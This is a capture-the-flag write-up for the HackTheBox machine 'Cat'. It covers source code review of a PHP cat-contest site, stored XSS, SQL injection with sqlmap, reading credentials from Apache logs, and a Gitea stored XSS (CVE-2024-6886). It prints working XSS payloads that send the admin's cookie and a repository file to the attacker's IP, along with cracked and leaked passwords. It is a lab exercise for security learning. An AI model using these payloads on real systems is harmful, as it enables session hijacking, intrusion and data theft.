HackTheBox - Cat
Cat from HackTheBox start with a source code review where we find an XSS that we exploit to get the admin’s cookie followed by sql injection to get credentials to the box. We find another user’s creds on apache logs. And for root we exploit another XSS on gitea to get the root’s password.
Enumeration
nmap
We start an Nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}
.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
1
2
3
4
5
6
7
8
9
10
11
12
13
Nmap scan report for 10.10.11.53
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
| 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://cat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We found two open port. The domain name for the website on port 80 is cat.htb
. Let’s add it to /etc/hosts
file.
Web
Let’s navigate to the website.
This is some sort of a cat competition. I’ll register a user first.
After logging in successfully, going to contest page we find an upload form.
I tried uploading a php web shell but that failed because there is a filter only allowing images.
I tried uploading another shell with the extension .png
a PNG MIME type and managed to upload it successfully.
Now we need to now where the file goes.
Let’s run a directory scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://cat.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🚫 Do Not Recurse │ true
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 269c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 41l 83w 1242c http://cat.htb/vote.php
200 GET 127l 270w 2900c http://cat.htb/css/styles.css
200 GET 196l 415w 5082c http://cat.htb/winners.php
302 GET 1l 0w 1c http://cat.htb/contest.php => http://cat.htb/join.php
301 GET 9l 28w 301c http://cat.htb/.git => http://cat.htb/.git/
200 GET 140l 327w 4004c http://cat.htb/join.php
200 GET 129l 285w 3075c http://cat.htb/
301 GET 9l 28w 300c http://cat.htb/css => http://cat.htb/css/
301 GET 9l 28w 300c http://cat.htb/img => http://cat.htb/img/
301 GET 9l 28w 304c http://cat.htb/uploads => http://cat.htb/uploads/
301 GET 9l 28w 304c http://cat.htb/winners => http://cat.htb/winners/
[####################] - 54s 20488/20488 0s found:11 errors:0
[####################] - 54s 20477/20477 382/s http://cat.htb/
We find an uploads/
page but when we visit it, it gives a 403 forbidden. I tried givin the same name of the file but didn’t succeed.
Another interesting directory we find is .git
. Let’s put it to our box.
1
git-dumper http://cat.htb/.git git
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──[10.10.16.4]-[sirius💀parrot]-[25-07-05 3:03]-[~/ctf/htb/cat/git]
└──╼[★]$ ls -la
total 56
drwxr-xr-x 1 sirius sirius 288 Jul 5 03:03 .
drwxr-xr-x 1 sirius sirius 78 Jul 5 03:03 ..
-rwxr-xr-x 1 sirius sirius 893 Jul 5 03:03 accept_cat.php
-rwxr-xr-x 1 sirius sirius 4496 Jul 5 03:03 admin.php
-rwxr-xr-x 1 sirius sirius 277 Jul 5 03:03 config.php
-rwxr-xr-x 1 sirius sirius 6676 Jul 5 03:03 contest.php
drwxr-xr-x 1 sirius sirius 20 Jul 5 03:03 css
-rwxr-xr-x 1 sirius sirius 1136 Jul 5 03:03 delete_cat.php
drwxr-xr-x 1 sirius sirius 128 Jul 5 03:03 .git
drwxr-xr-x 1 sirius sirius 50 Jul 5 03:03 img
drwxr-xr-x 1 sirius sirius 50 Jul 5 03:03 img_winners
-rwxr-xr-x 1 sirius sirius 3509 Jul 5 03:03 index.php
-rwxr-xr-x 1 sirius sirius 5891 Jul 5 03:03 join.php
-rwxr-xr-x 1 sirius sirius 79 Jul 5 03:03 logout.php
-rwxr-xr-x 1 sirius sirius 2725 Jul 5 03:03 view_cat.php
-rwxr-xr-x 1 sirius sirius 1676 Jul 5 03:03 vote.php
drwxr-xr-x 1 sirius sirius 60 Jul 5 03:03 winners
-rwxr-xr-x 1 sirius sirius 3374 Jul 5 03:03 winners.php
We got the source code of the website here.
I’ll check contest first.
1
2
3
4
5
6
// Generate unique identifier for the image
$imageIdentifier = uniqid() . "_";
// Upload cat photo
$target_dir = "uploads/";
$target_file = $target_dir . $imageIdentifier . basename($_FILES["cat_photo"]["name"]);
In these lines we see that a uniq id is created and added to the file name which is why we couldn’t access our file in the uploads directory earlier.
1
2
3
4
5
6
7
8
$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";
// Check for forbidden content
if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
contains_forbidden_content($age, $forbidden_patterns) ||
contains_forbidden_content($birthdate, $forbidden_patterns) ||
contains_forbidden_content($weight, $forbidden_patterns)) {
$error_message = "Your entry contains invalid characters.";
When submitting a new cat, the backend checks for any forbidden characters in the submitted data.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
} else {
if (move_uploaded_file($_FILES["cat_photo"]["tmp_name"], $target_file)) {
// Prepare SQL query to insert cat data
$stmt = $pdo->prepare("INSERT INTO cats (cat_name, age, birthdate, weight, photo_path, owner_username) VALUES (:cat_name, :age, :birthdate, :weight, :photo_path, :owner_username)");
// Bind parameters
$stmt->bindParam(':cat_name', $cat_name, PDO::PARAM_STR);
$stmt->bindParam(':age', $age, PDO::PARAM_INT);
$stmt->bindParam(':birthdate', $birthdate, PDO::PARAM_STR);
$stmt->bindParam(':weight', $weight, PDO::PARAM_STR);
$stmt->bindParam(':photo_path', $target_file, PDO::PARAM_STR);
$stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);
// Execute query
if ($stmt->execute()) {
$success_message = "Cat has been successfully sent for inspection.";
After all the checks been passed, the cat_name, age, birthdate, weight, photo_path and owner_username and inserted into the database and waiting for the admin to inspect the cat.
In admin.php we get the following
1
2
3
<button class="view-button" onclick="window.location.href='/view_cat.php?cat_id=<?php echo htmlspecialchars($cat['cat_id']); ?>'">View</button>
<button class="accept-button" onclick="acceptCat('<?php echo htmlspecialchars($cat['cat_name']); ?>', <?php echo htmlspecialchars($cat['cat_id']); ?>)">Accept</button>
<button class="reject-button" onclick="rejectCat(<?php echo htmlspecialchars($cat['cat_id']); ?>)">Reject</button>
To view a cat, a request is made to view_cat.php?cat_id=
. Let’s check that file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$query = "SELECT cats.*, users.username FROM cats JOIN users ON cats.owner_username = users.username WHERE cat_id = :cat_id";
[SNIP]
<div class="container">
<h1>Cat Details: <?php echo $cat['cat_name']; ?></h1>
<img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
<div class="cat-info">
<strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
<strong>Age:</strong> <?php echo $cat['age']; ?><br>
<strong>Birthdate:</strong> <?php echo $cat['birthdate']; ?><br>
<strong>Weight:</strong> <?php echo $cat['weight']; ?> kg<br>
<strong>Owner:</strong> <?php echo $cat['username']; ?><br>
<strong>Created At:</strong> <?php echo $cat['created_at']; ?>
</div>
</div>
Here we see that all the data is displayed back for that admin to inspect.
All of the returned data is being filtered before inserted to the database, except owner.
1
2
$stmt_insert = $pdo->prepare("INSERT INTO users (username, email, password) VALUES (:username, :email, :password)");
$stmt_insert->execute([':username' => $username, ':email' => $email, ':password' => $password]);
Here is a possibility for a stored XSS.
XSS
Let’s register a user with an xss payload as a username.
1
<script>document.location='http://10.10.16.4/='+document.cookie;</script>
Now I’ll go to contest and submit another cat then I’ll start an http server to see if I can catch anything.
1
2
3
4
5
6
7
8
┌──[10.10.16.4]-[sirius💀parrot]-[25-07-05 3:31]-[~/ctf/htb/cat/git]
└──╼[★]$ www
[sudo] password for sirius:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.53 - - [05/Jul/2025 03:46:37] code 404, message File not found
10.10.11.53 - - [05/Jul/2025 03:46:37] "GET /=PHPSESSID=78jhhe181o19mscvtff6g1p71r HTTP/1.1" 404 -
10.10.11.53 - - [05/Jul/2025 03:46:38] code 404, message File not found
10.10.11.53 - - [05/Jul/2025 03:46:38] "GET /favicon.ico HTTP/1.1" 404 -
We got back a cookie!
I’ll change my current cookie to the one we just got and refresh the page.
We got access as admin!
Foothold
SQLi
Back to source code review, on accept_cat.php we find the following line
1
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
Here we see that cat_name is passed directly to the sql query without any sanitization. This is a possible sql injection.
I intercepted a request on burp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /accept_cat.php HTTP/1.1
Host: cat.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://cat.htb/admin.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: http://cat.htb
DNT: 1
Connection: keep-alive
Cookie: PHPSESSID=ve9rtt5n7f4vmkv5lkfu473qba
Priority: u=0
catName=sirius&catId=1
Now I’ll save this to a file and give it to sqlmap
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──[10.10.16.4]-[sirius💀parrot]-[25-07-05 4:36]-[~/ctf/htb/cat/git] [39/1569]
└──╼[★]$ sqlmap -r accept.req -p catName --risk 3 --level 5 --batch --dbms=sqlite --technique=B -T users -C username,password --dump --threads 5
___
__H__
___ ___["]_____ ___ ___ {1.8.12#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 04:36:41 /2025-07-05/
POST parameter 'catName' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:
---
Parameter: catName (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: catName=sirius'||(SELECT CHAR(70,65,113,117) WHERE 9221=9221 AND 2417=2417)||'&catId=1
web server operating system: Linux Ubuntu 19.10 or 20.10 or 20.04 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: SQLite
[04:37:37] [INFO] fetching entries of column(s) 'password,username' for table 'users'
[04:37:37] [INFO] fetching number of column(s) 'password,username' entries for table 'users' in database 'SQLite_masterdb'
[04:37:37] [INFO] retrieved: 11
[04:37:44] [INFO] retrieving the length of query output
[04:37:44] [INFO] retrieved: 32
[04:38:24] [INFO] retrieved: d1bbba3670feb9435c9841e46e60ee2f
[04:38:24] [INFO] retrieving the length of query output
[04:38:24] [INFO] retrieved: 4
[04:38:32] [INFO] retrieved: axel
[04:38:32] [INFO] retrieving the length of query output
[04:38:32] [INFO] retrieved: 32
[04:39:04] [INFO] retrieved: ac369922d560f17d6eeb8b2c7dec498c
[04:39:04] [INFO] retrieving the length of query output
[04:39:04] [INFO] retrieved: 4
[04:39:12] [INFO] retrieved: rosa
We got usernames and password for multiple users.
The username axel
came up a lot when I was viewing the source code so I’ll try cracking their hash first.
That failed, I’ll try rosa
’s hash next next
We got the password soyunaprincesarosa
, let’s ssh to the box.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──[10.10.16.4]-[sirius💀parrot]-[25-07-05 4:44]-[~/ctf/htb/cat/git]
└──╼[★]$ ssh rosa@cat.htb
rosa@cat.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-204-generic x86_64)
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sat Sep 28 15:44:52 2024 from 192.168.1.64
rosa@cat:~$ sudo -l
[sudo] password for rosa:
Sorry, user rosa may not run sudo on cat.
rosa@cat:~$ id
uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)
Privilege Escalation
rosa -> axel
We see that user rosa is part of adm
group. This group is known to have the ability to read logs.
Back to the website, I noticed that when registering a user and when logging in the request is sent through a get request.
All request made to the apache server are logged inside /var/log/apache2/access.log
file.
If we we do a simple head
to that file we get the following.
1
2
3
4
5
6
osa@cat:/var/log/apache2$ head access.log
127.0.0.1 - - [03/Jul/2025:18:27:20 +0000] "GET /join.php HTTP/1.1" 200 1683 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [03/Jul/2025:18:27:20 +0000] "GET /css/styles.css HTTP/1.1" 200 1155 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [03/Jul/2025:18:27:20 +0000] "GET /favicon.ico HTTP/1.1" 404 485 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [03/Jul/2025:18:27:21 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
We got axel
’s password aNdZwgC4tI9gnVXv_e3Q
.
axel -> root
Searching for file belonging to user axel
I found /var/mail/axel
. The following email looks interesting.
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
There is a website on port 3000 running locally.
Jobert also sent this message.
1
2
3
4
5
6
Hi Axel,
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository
. Jobert will check if it is a promising service that we can develop.
Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.
Let’s forward the port 3000 to our machine.
1
ssh axel@cat.htb -L 3000:127.0.0.1:3000
It’s a gitea instance.
Logging in as rosa we find it’s version 1.22.0
.
A quick search on google we find that this version vulnerable to stored xss in the description field CVE-2024-6886.
Jobert told us that he would look at the description. Let’s create a repo and put another xss payload there
1
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(r => r.text()).then(data => fetch('http://10.10.16.4/?exfil=' + btoa(data)));">HACK!</a>
On our http server we’ll receive the base64 encode of index.php, after decoding it we get the root’s password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
header('WWW-Authenticate: Basic realm="Employee Management"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
header('Location: dashboard.php');
exit;
?>
Now we can ssh as root
1
2
3
ssh root@cat.htb
root@cat.htb's password:
root@cat:~#
References
https://www.exploit-db.com/exploits/52077
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).